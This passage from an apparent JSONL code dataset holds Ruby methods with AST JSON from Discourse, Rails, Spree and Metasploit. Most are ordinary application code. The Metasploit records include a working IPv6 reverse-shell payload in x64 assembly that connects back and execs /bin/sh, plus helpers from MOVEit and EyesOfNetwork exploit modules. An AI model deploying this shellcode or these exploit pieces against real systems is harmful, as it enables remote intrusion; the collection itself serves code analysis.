\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"urls_to_check\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s3_protocol\"]}]},{\"type\":\"str\",\"children\":[\"://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s3_host_name\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bucket_name\"]}]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"urls_to_check\"]},\"uniq\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"full_url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_s3_listing!\",{\"type\":\"lvar\",\"children\":[\"full_url\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@failure_message\"]},\"present?\"]},{\"type\":\"break\",\"children\":[]},null]}]}]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"nil\",\"children\":[]}]},null]}]}","id":"1a09d8b5-b8c2-413a-80a1-49b776de6c14"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-chat-integration/lib/discourse_chat_integration/provider/rocketchat/rocketchat_provider.rb","start_line":86,"raw_source":"def self.get_channel_by_name(name)\n    DiscourseChatIntegration::Channel\n      .with_provider(PROVIDER_NAME)\n      .with_data_value(CHANNEL_IDENTIFIER_KEY, name)\n      .first\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"get_channel_by_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseChatIntegration\"]},\"Channel\"]},\"with_provider\",{\"type\":\"const\",\"children\":[null,\"PROVIDER_NAME\"]}]},\"with_data_value\",{\"type\":\"const\",\"children\":[null,\"CHANNEL_IDENTIFIER_KEY\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"first\"]}]}","id":"43232387-400e-4f8e-a40f-e469f5b8577a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/linux/x64/shell_reverse_ipv6_tcp.rb","start_line":44,"raw_source":"def generate(_opts = {})\n    # 22 -> \"0x00,0x16\"\n    # 4444 -> \"0x11,0x5c\"\n    tcp_port = convert_input(datastore['LPORT'], 4)\n\n    # 0 -> \"0x00,0x00,0x00,0x00\"\n    scope_id = convert_input(datastore['SCOPEID'], 8, reverse: true)\n\n    # ::1 -> \"0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01\"\n    # dead:beef:2::1009 -> \"0xde,0xad,0xbe,0xef,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x09\"\n    ipv6_addr = convert_input(IPAddr.new(datastore['LHOST'], Socket::AF_INET6).to_i, 32)\n\n    payload = <<-EOS\n        socket_call:\n            ; int socket(int domain, int type, int protocol)\n\n            push   0x29\n            pop    rax                          ; socket syscall\n            push   0xa\n            pop    rdi                          ; AF_INET6\n            push   0x1\n            pop    rsi                          ; SOCK_STREAM\n            xor    edx,edx                      ; auto-select protocol#{' '}\n            syscall\n\n            push   rax\n            pop    rdi                          ; store socket fd#{' '}\n            jmp get_address                     ; jmp-call-pop\n\n        populate_sockaddr_in6:\n            ; struct sockaddr_in6 {\n            ;     sa_family_t     sin6_family;   /* AF_INET6 */\n            ;     in_port_t       sin6_port;     /* port number */\n            ;     uint32_t        sin6_flowinfo; /* IPv6 flow information */\n            ;     struct in6_addr sin6_addr;     /* IPv6 address */\n            ;     uint32_t        sin6_scope_id; /* Scope ID (new in 2.4) */\n            ; };\n\n            ; struct in6_addr {\n            ;     unsigned char   s6_addr[16];   /* IPv6 address */\n            ; };\n\n            pop rsi                             ; store pointer to struct\n\n        connect_call:\n            ; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);\n            ; rdi -> already contains server socket fd\n            ; rsi -> already contains pointer to sockaddr_in6 struct#{' '}\n            push   0x2a\n            pop    rax                          ; connect syscall#{' '}\n            push   0x1c\n            pop    rdx                          ; length of sockaddr_in6 (28)\n            syscall\n\n        dup2_calls:\n            ; int dup2(int oldfd, int newfd);\n            ; rdi -> already contains server socket fd\n            push   0x3\n            pop    rsi                          ; newfd#{' '}\n\n        dup2_loop:\n            ; 2 -> 1 -> 0 (3 iterations)\n            push   0x21\n            pop    rax                          ; dup2 syscall\n            dec esi\n            syscall\n            loopnz   dup2_loop\n\n        exec_call:\n            ; int execve(const char *filename, char *const argv[], char *const envp[]);\n            push 0x3b\n            pop rax                             ; execve call\n            cdq                                 ; zero-out rdx via sign-extension\n            mov rbx, '/bin/sh'\n            push rbx\n            push rsp\n            pop rdi                             ; address of /bin/sh\n            syscall\n\n        get_address:\n            call populate_sockaddr_in6\n            ; sin6_family(2), sin6_port(2), sin6_flowinfo(4), sockaddr_in6(16), sin6_scope_id(4)\n            db 0x0a,0x00,#{tcp_port},0x00,0x00,0x00,0x00,#{ipv6_addr},#{scope_id}\n    EOS\n\n    Metasm::Shellcode.assemble(Metasm::X86_64.new, payload).encode_string\n  end","complexity_score":23.7,"ast_json":"{\"type\":\"def\",\"children\":[\"generate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tcp_port\",{\"type\":\"send\",\"children\":[null,\"convert_input\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LPORT\"]}]},{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"lvasgn\",\"children\":[\"scope_id\",{\"type\":\"send\",\"children\":[null,\"convert_input\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SCOPEID\"]}]},{\"type\":\"int\",\"children\":[8]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reverse\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ipv6_addr\",{\"type\":\"send\",\"children\":[null,\"convert_input\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IPAddr\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LHOST\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Socket\"]},\"AF_INET6\"]}]},\"to_i\"]},{\"type\":\"int\",\"children\":[32]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        socket_call:\\n\"]},{\"type\":\"str\",\"children\":[\"            ; int socket(int domain, int type, int protocol)\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            push   0x29\\n\"]},{\"type\":\"str\",\"children\":[\"            pop    rax                          ; socket syscall\\n\"]},{\"type\":\"str\",\"children\":[\"            push   0xa\\n\"]},{\"type\":\"str\",\"children\":[\"            pop    rdi                          ; AF_INET6\\n\"]},{\"type\":\"str\",\"children\":[\"            push   0x1\\n\"]},{\"type\":\"str\",\"children\":[\"            pop    rsi                          ; SOCK_STREAM\\n\"]},{\"type\":\"str\",\"children\":[\"            xor    edx,edx                      ; auto-select protocol\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            syscall\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            push   rax\\n\"]},{\"type\":\"str\",\"children\":[\"            pop    rdi                          ; store socket fd\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            jmp get_address                     ; jmp-call-pop\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        populate_sockaddr_in6:\\n\"]},{\"type\":\"str\",\"children\":[\"            ; struct sockaddr_in6 {\\n\"]},{\"type\":\"str\",\"children\":[\"            ;     sa_family_t     sin6_family;   /* AF_INET6 */\\n\"]},{\"type\":\"str\",\"children\":[\"            ;     in_port_t       sin6_port;     /* port number */\\n\"]},{\"type\":\"str\",\"children\":[\"            ;     uint32_t        sin6_flowinfo; /* IPv6 flow information */\\n\"]},{\"type\":\"str\",\"children\":[\"            ;     struct in6_addr sin6_addr;     /* IPv6 address */\\n\"]},{\"type\":\"str\",\"children\":[\"            ;     uint32_t        sin6_scope_id; /* Scope ID (new in 2.4) */\\n\"]},{\"type\":\"str\",\"children\":[\"            ; };\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            ; struct in6_addr {\\n\"]},{\"type\":\"str\",\"children\":[\"            ;     unsigned char   s6_addr[16];   /* IPv6 address */\\n\"]},{\"type\":\"str\",\"children\":[\"            ; };\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            pop rsi                             ; store pointer to struct\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        connect_call:\\n\"]},{\"type\":\"str\",\"children\":[\"            ; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);\\n\"]},{\"type\":\"str\",\"children\":[\"            ; rdi -> already contains server socket fd\\n\"]},{\"type\":\"str\",\"children\":[\"            ; rsi -> already contains pointer to sockaddr_in6 struct\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            push   0x2a\\n\"]},{\"type\":\"str\",\"children\":[\"            pop    rax                          ; connect syscall\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            push   0x1c\\n\"]},{\"type\":\"str\",\"children\":[\"            pop    rdx                          ; length of sockaddr_in6 (28)\\n\"]},{\"type\":\"str\",\"children\":[\"            syscall\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        dup2_calls:\\n\"]},{\"type\":\"str\",\"children\":[\"            ; int dup2(int oldfd, int newfd);\\n\"]},{\"type\":\"str\",\"children\":[\"            ; rdi -> already contains server socket fd\\n\"]},{\"type\":\"str\",\"children\":[\"            push   0x3\\n\"]},{\"type\":\"str\",\"children\":[\"            pop    rsi                          ; newfd\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        dup2_loop:\\n\"]},{\"type\":\"str\",\"children\":[\"            ; 2 -> 1 -> 0 (3 iterations)\\n\"]},{\"type\":\"str\",\"children\":[\"            push   0x21\\n\"]},{\"type\":\"str\",\"children\":[\"            pop    rax                          ; dup2 syscall\\n\"]},{\"type\":\"str\",\"children\":[\"            dec esi\\n\"]},{\"type\":\"str\",\"children\":[\"            syscall\\n\"]},{\"type\":\"str\",\"children\":[\"            loopnz   dup2_loop\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        exec_call:\\n\"]},{\"type\":\"str\",\"children\":[\"            ; int execve(const char *filename, char *const argv[], char *const envp[]);\\n\"]},{\"type\":\"str\",\"children\":[\"            push 0x3b\\n\"]},{\"type\":\"str\",\"children\":[\"            pop rax                             ; execve call\\n\"]},{\"type\":\"str\",\"children\":[\"            cdq                                 ; zero-out rdx via sign-extension\\n\"]},{\"type\":\"str\",\"children\":[\"            mov rbx, '/bin/sh'\\n\"]},{\"type\":\"str\",\"children\":[\"            push rbx\\n\"]},{\"type\":\"str\",\"children\":[\"            push rsp\\n\"]},{\"type\":\"str\",\"children\":[\"            pop rdi                             ; address of /bin/sh\\n\"]},{\"type\":\"str\",\"children\":[\"            syscall\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        get_address:\\n\"]},{\"type\":\"str\",\"children\":[\"            call populate_sockaddr_in6\\n\"]},{\"type\":\"str\",\"children\":[\"            ; sin6_family(2), sin6_port(2), sin6_flowinfo(4), sockaddr_in6(16), sin6_scope_id(4)\\n\"]},{\"type\":\"str\",\"children\":[\"            db 0x0a,0x00,\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tcp_port\"]}]},{\"type\":\"str\",\"children\":[\",0x00,0x00,0x00,0x00,\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ipv6_addr\"]}]},{\"type\":\"str\",\"children\":[\",\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope_id\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasm\"]},\"Shellcode\"]},\"assemble\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasm\"]},\"X86_64\"]},\"new\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]},\"encode_string\"]}]}]}","id":"51131418-baf8-46a1-a245-54bec1c51249"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation/query_attribute.rb","start_line":8,"raw_source":"def initialize(...)\n        super\n\n        # The query attribute value may be mutated before we actually \"compile\" the query.\n        # To avoid that if the type uses a serializer we eagerly compute the value for database\n        if value_before_type_cast.is_a?(StatementCache::Substitute)\n          # we don't need to serialize StatementCache::Substitute\n        elsif @type.serialized?\n          value_for_database\n        elsif @type.mutable? # If the type is simply mutable, we deep_dup it.\n          unless @value_before_type_cast.frozen?\n            @value_before_type_cast = @value_before_type_cast.deep_dup\n          end\n        end\n      end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"value_before_type_cast\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StatementCache\"]},\"Substitute\"]}]},null,{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@type\"]},\"serialized?\"]},{\"type\":\"send\",\"children\":[null,\"value_for_database\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@type\"]},\"mutable?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@value_before_type_cast\"]},\"frozen?\"]},null,{\"type\":\"ivasgn\",\"children\":[\"@value_before_type_cast\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@value_before_type_cast\"]},\"deep_dup\"]}]}]},null]}]}]}]}]}","id":"cad057eb-5b76-4e21-94d3-cd6aa3601ed2"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/scaffold_generator_test.rb","start_line":404,"raw_source":"def test_scaffold_generator_no_helper_with_switch_helper_false\n    output = run_generator [ \"posts\", \"--helper=false\" ]\n\n    assert_no_match(/error/, output)\n    assert_no_file \"app/helpers/posts_helper.rb\"\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_scaffold_generator_no_helper_with_switch_helper_false\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"posts\"]},{\"type\":\"str\",\"children\":[\"--helper=false\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"error\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_file\",{\"type\":\"str\",\"children\":[\"app/helpers/posts_helper.rb\"]}]}]}]}","id":"fb8fcd58-5b8b-471e-b6ed-df7c96e82676"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/order/address_book.rb","start_line":86,"raw_source":"def should_assign_user_default_address?(address)\n        user.present? && address.present? && address.valid? && address.user == user && !address.quick_checkout?\n      end","complexity_score":17.1,"ast_json":"{\"type\":\"def\",\"children\":[\"should_assign_user_default_address?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"address\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"address\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"address\"]},\"valid?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"address\"]},\"user\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"user\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"address\"]},\"quick_checkout?\"]},\"!\"]}]}]}","id":"809c1bcc-cd1b-4dd9-9bea-0c8e30bcb83d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/memcached/memcached_amp.rb","start_line":49,"raw_source":"def scanner_process(data, shost, sport)\n    # Check the response data for a \"STAT\" response\n    if data =~ /\\x0d\\x0aSTAT\\x20/\n      @results[shost] ||= []\n      @results[shost] << data\n    end\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"scanner_process\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"arg\",\"children\":[\"shost\"]},{\"type\":\"arg\",\"children\":[\"sport\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\x0d\\\\x0aSTAT\\\\x20\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@results\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"shost\"]}]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@results\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"shost\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},null]}]}","id":"f92937a6-0261-45b0-a107-3b3c22001fa0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/eyesofnetwork_autodiscovery_rce.rb","start_line":359,"raw_source":"def delete_autodiscovery_job(job_id)\n    vprint_status \"Removing AutoDiscovery job #{job_id} ...\"\n\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, '/lilac/autodiscovery.php'),\n      'cookie' => @cookie,\n      'vars_get' => {\n        id: job_id,\n        delete: 1\n      }\n    })\n\n    unless res\n      print_warning \"Removing AutoDiscovery job #{job_id} failed: Connection failed\"\n      return\n    end\n    res\n  end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_autodiscovery_job\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Removing AutoDiscovery job \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job_id\"]}]},{\"type\":\"str\",\"children\":[\" ...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/lilac/autodiscovery.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"ivar\",\"children\":[\"@cookie\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"job_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Removing AutoDiscovery job \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job_id\"]}]},{\"type\":\"str\",\"children\":[\" failed: Connection failed\"]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}","id":"9a02b26d-2763-4392-8fa9-fbbaec780fa8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/moveit_cve_2023_34362.rb","start_line":255,"raw_source":"def makev1password(password, salt = 'AAAA')\n    fail_with(Msf::Exploit::Failure::BadConfig, 'password cannot be empty') if password.empty?\n    fail_with(Msf::Exploit::Failure::BadConfig, 'salt must be 4 bytes') if salt.length != 4\n\n    # These two hardcoded values are found in MOVEit.DMZ.Core.Cryptography.Providers.SecretProvider.GetSecret\n    pwpre = Base64.decode64('=VT2jkEH3vAs=')\n    pwpost = Base64.decode64('=0maaSIA5oy0=')\n    md5 = Digest::MD5.new\n    md5.update(pwpre)\n    md5.update(salt)\n    md5.update(password)\n    md5.update(pwpost)\n\n    pw = [(4 + 4 + 16), 0, 0, 0].pack('CCCC')\n    pw << salt\n    pw << md5.digest\n\n    return Base64.strict_encode64(pw).gsub('+', '-')\n  end","complexity_score":29.85,"ast_json":"{\"type\":\"def\",\"children\":[\"makev1password\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"password\"]},{\"type\":\"optarg\",\"children\":[\"salt\",{\"type\":\"str\",\"children\":[\"AAAA\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"password\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"password cannot be empty\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"salt\"]},\"length\"]},\"!=\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"salt must be 4 bytes\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"pwpre\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"decode64\",{\"type\":\"str\",\"children\":[\"=VT2jkEH3vAs=\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pwpost\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"decode64\",{\"type\":\"str\",\"children\":[\"=0maaSIA5oy0=\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"md5\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"MD5\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"md5\"]},\"update\",{\"type\":\"lvar\",\"children\":[\"pwpre\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"md5\"]},\"update\",{\"type\":\"lvar\",\"children\":[\"salt\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"md5\"]},\"update\",{\"type\":\"lvar\",\"children\":[\"password\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"md5\"]},\"update\",{\"type\":\"lvar\",\"children\":[\"pwpost\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pw\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[4]},\"+\",{\"type\":\"int\",\"children\":[4]}]},\"+\",{\"type\":\"int\",\"children\":[16]}]}]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"CCCC\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pw\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"salt\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pw\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"md5\"]},\"digest\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"strict_encode64\",{\"type\":\"lvar\",\"children\":[\"pw\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"+\"]},{\"type\":\"str\",\"children\":[\"-\"]}]}]}]}]}","id":"615a490f-9a9d-4f16-bddd-44b3d20afb83"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/session_controller.rb","start_line":550,"raw_source":"def second_factor_auth_perform\n    nonce = params.require(:nonce)\n    challenge = nil\n    error_key = nil\n    user = nil\n    status_code = 200\n    begin\n      challenge =\n        SecondFactor::AuthManager.find_second_factor_challenge(\n          nonce: nonce,\n          server_session:,\n          target_user: current_user,\n        )\n      user = User.find(challenge[:target_user_id])\n    rescue SecondFactor::BadChallenge => exception\n      error_key = exception.error_translation_key\n      status_code = exception.status_code\n    end\n\n    if error_key\n      json =\n        failed_json.merge(\n          ok: false,\n          error: I18n.t(error_key),\n          reason: \"challenge_not_found_or_expired\",\n        )\n      render json: failed_json.merge(json), status: status_code\n      return\n    end\n\n    # no proper error messages for these cases because the only way they can\n    # happen is if someone is messing with us.\n    # the first one can only happen if someone disables a 2FA method after\n    # they're redirected to the 2fa page and then uses the same method they've\n    # disabled.\n    second_factor_method = params[:second_factor_method].to_i\n    if !user.valid_second_factor_method_for_user?(second_factor_method)\n      raise Discourse::InvalidAccess.new\n    end\n    # and this happens if someone tries to use a 2FA method that's not accepted\n    # for the action they're trying to perform. e.g. using backup codes to\n    # grant someone admin status.\n    if !challenge[:allowed_methods].include?(second_factor_method)\n      raise Discourse::InvalidAccess.new\n    end\n\n    if !challenge[:successful]\n      rate_limit_second_factor!(user)\n      second_factor_auth_result = user.authenticate_second_factor(params, server_session)\n      if second_factor_auth_result.ok\n        challenge[:successful] = true\n        challenge[:generated_at] += 1.minute.to_i\n        server_session[\"current_second_factor_auth_challenge\"] = 